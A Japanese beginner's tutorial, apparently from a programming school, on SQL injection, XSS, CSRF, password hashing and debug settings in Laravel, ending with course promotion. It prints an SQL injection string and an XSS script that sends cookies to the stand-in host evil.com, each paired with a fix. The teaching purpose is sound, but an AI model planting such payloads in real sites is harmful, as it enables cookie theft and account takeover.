「苦労して作ったWebアプリ、やっと動いた!さあリリースだ!」

エンジニアにとって、自分のコードでサービスが動く瞬間の喜びは格別ですよね。

しかし、ちょっと待ってください。そのアプリ、セキュリティ対策されてますか?

機能を作ることに精一杯で、セキュリティ対策が後回しになっているケースはしばしばあります。脆弱性を放置したまま公開することは、ユーザーの情報を危険に晒すだけでなく、エンジニアとしての信頼を失うことにも繋がります。

そこで今回は、セキュリティの知識に自信がない開発者に向けて、最低限チェックしておくべき「脆弱性対策」をまとめました!
初学者でも今日から実践できる基本的なポイントを解説します。


そもそも「脆弱性」とは?

Webアプリケーションにおけるプログラムの不備や設計ミスのことです。ここを悪用されると、攻撃者にシステムを乗っ取られたり、情報を盗まれたりします。

世界標準のセキュリティ基準としてOWASP Top 10というものがありますが、今回はその中でも特に初心者がやってしまいがちな「三大脆弱性」+α に絞って解説します。


1. SQLインジェクション

お問い合わせフォームのような、入力・送信できるページから悪意のあるSQL文(データベースへの命令)を混ぜ込むことで、本来見せてはいけないデータを表示させたり、データを消去したりする攻撃です。
アプリケーションが入力値を適切にエスケープしないままSQL中に展開することで発生します。

例えば次のようなSQL文があるとします。

SELECT * FROM users WHERE name = '(入力値)';

ここで入力値に例えば "t' OR 't' = 't" という文字列を与え送信されると、SQL文は次のように受け取り展開されます。

SELECT * FROM users WHERE name = 't' OR 't' = 't';

このSQL文の意味は「もしnameがtなら、もしくはtがtならユーザー情報をすべて取得する」というものです。
「もしtがtなら...」これだけ聞くと一見意味がわからないかもしれませんが、t=tって、当たり前のことを言ってますよね。
つまり、この文は条件が常に真となり、 SELECT * FROM users (ユーザー情報をすべて取得する)が実行されてしまいます。

【解決策:Laravel】(Eloquent/クエリビルダ)を使う

Laravelなどのフレームワークを使っている場合、直接SQLを文字列結合などで書くのではなく、Eloquent ORMで記述すれば自動的にプリペアドステートメント(※)という仕組みによって対策されます。

※プリペアドステートメントとは、SQL文の構造(テンプレート)と値を分離してデータベースに送り、後から値を埋め込むことで、SQLインジェクション対策と処理速度向上を実現する仕組み

$user = User::where('id', $request->input('id'))->first();

対策ポイント:

  • SQL文を文字列結合で作らない。
  • フレームワークのORM(Eloquentなど)や、プリペアドステートメントを使用する。

2. XSS(クロスサイトスクリプティング)

掲示板やSNSのように、ユーザーが入力した内容を他のユーザーの画面に表示するページで、悪意のあるスクリプト(プログラム)を埋め込まれてしまう攻撃です。

アプリケーションが入力値を画面に出力する際、HTMLとして意味を持つ記号を適切に無害化(エスケープ)しないことで発生します。

例えば、掲示板の名前欄に次のような入力をして投稿したとします。

<script>location.href='http://evil.com/steal?cookie='+document.cookie;</script>

もし対策をしていない場合、この投稿を見た他のユーザーのブラウザは、これを「ただの文字」ではなく「実行すべきJavaScriptのプログラム」として解釈してしまいます。

その結果、ページを開いた瞬間に、そのユーザーのCookie情報(ログイン状態などを管理する重要な鍵)が攻撃者のサイト(evil.com)へ勝手に送信され、アカウント乗っ取りなどの被害に遭ってしまいます。

【解決策:Laravel】Bladeテンプレートの二重括弧を使う

LaravelのBladeテンプレートを使っている場合、 {{ }} で変数を囲むだけで、自動的に特殊文字をエスケープ(無害化)して表示してくれます。

<p>こんにちは、{{ $name }} さん</p>

この場合、先ほどのスクリプトタグは &lt;script&gt;... のような無害な文字列に変換され、ブラウザ画面には文字として表示されるだけで、プログラムとしては実行されません。

一方、次の書き方は注意が必要です。

<p>こんにちは、{!! $name !!} さん</p>

{!! !!} は「あえてHTMLタグを有効にしたい」場合に使いますが、ユーザー入力値をここに通すとXSSの脆弱性になります。初心者のうちは基本的に使わないようにしましょう。

対策ポイント:

  • ユーザーの入力値を画面に出す時は、必ずエスケープ(無害化)処理を通す。
  • Laravelでは基本的に {{ }} を使い、{!! !!} の使用は避ける。

3. CSRF(クロスサイトリクエストフォージェリ)

ログイン済みのユーザーが、攻撃者の用意した罠サイトにアクセスすることで、本人が意図しない操作(勝手に退会する、商品を購入する、投稿するなど)をさせられてしまう攻撃です。

例えば、あなたがSNSにログインしている状態で、悪意のある罠サイトを閲覧してしまったとします。その罠サイトには、裏側で「SNSの退会処理URL」へデータを送信する仕組みが隠されていました。

Webブラウザは、あるサイトへアクセスする際、そのサイト用のCookie(セッションIDなど)を自動的に一緒に送信する性質があります。

そのため、SNS側のサーバーは「正しいセッションIDを持ったユーザーからのリクエストだ」と判断し、あなたが自分の意思でボタンを押したのか、罠サイトから勝手に送らされたのかを区別できず、退会処理を実行してしまいます。

【解決策:Laravel】CSRFトークンを含める

「このリクエストは、正しいWebサイトのフォームから送信されたものですよ」と証明するための合言葉(トークン)を発行し、送信時にチェックします。

Laravelでは、フォームの中に @csrf ディレクティブを書くだけで対策が完了します。

<form method="POST" action="/profile/delete">
    @csrf <button type="submit">退会する</button>
</form>

これにより、HTML生成時にランダムなトークン(合言葉)が埋め込まれます。

攻撃者の罠サイトはこの「合言葉」を知ることができないため、もし罠サイトから無理やりリクエストを送らせても、サーバー側で「合言葉がない(または間違っている)」と判断して処理をブロック(419エラー)してくれます。

対策ポイント:

  • フォーム(POST/PUT/DELETEなど)を作成する際は、必ずCSRF対策を行う。
  • Laravelでは <form> タグの中に必ず @csrf を記述する。

4. その他、初心者がやりがちなNG実装

① パスワードを平文(そのまま)で保存している

データベースの中身は、開発者やサーバー管理者なら見ることができます。また、万が一SQLインジェクションなどでデータが流出した場合、パスワードがそのまま保存されていると、即座に不正ログインされてしまいます。

【解決策】

パスワードは必ずハッシュ化(復元できないランダムな文字列に変換)して保存します。
Laravelでは Hash ファサードを使います。

// ユーザー作成時など
$user->password = Hash::make($request->input('password'));

② デバッグ情報を本番環境で表示している

エラーが発生した際、画面に詳細なエラー内容(ファイルパス、データベースの構造、コードの一部など)が表示される画面が出ていませんか?

これは開発時には便利ですが、攻撃者にとってはシステムの内部構造を知るための「宝の地図」になってしまいます。

【解決策】

本番環境(公開サーバー)の設定ファイル(.env)では、必ずデバッグモードをオフにします。

# .env ファイル
APP_DEBUG=false

まとめ:セキュリティは「作って終わり」ではない

ここまで紹介した3つの脆弱性は、基本中の基本ですが、非常に危険度が高いものです。

  1. SQLインジェクション:DB操作には必ずORM/プリペアドステートメントを使う。
  2. XSS:表示時には必ずエスケープする({{ }}を使う)。
  3. CSRF:フォームには @csrf を入れる。

「自分のアプリは大丈夫かな?」と不安になった方は、ぜひ一度コードを見直してみてください。

Webエンジニアとして、「動くコード」だけでなく「安心して使える安全なコード」を書く習慣を身につけていきましょう!

もし、

「プログラミングを体系的に学びたい」
「エンジニア転職を頑張りたい」
「独学に限界を感じてきた...」
「コミュニティで仲間と共に学びたい」

などと感じられたら、ぜひ検討してみてください。

個別面談・説明会はこちら!


まずは様子見...という方は、公式LINEにぜひご登録下さい。
学習や転職ノウハウに関する豪華特典11個を無料配布しています!
LINE紹介ページで特典を確認する


■YouTube(SiiD受講生さま実績)

■YouTube(セイト先生メイン)

■X(旧Twitter)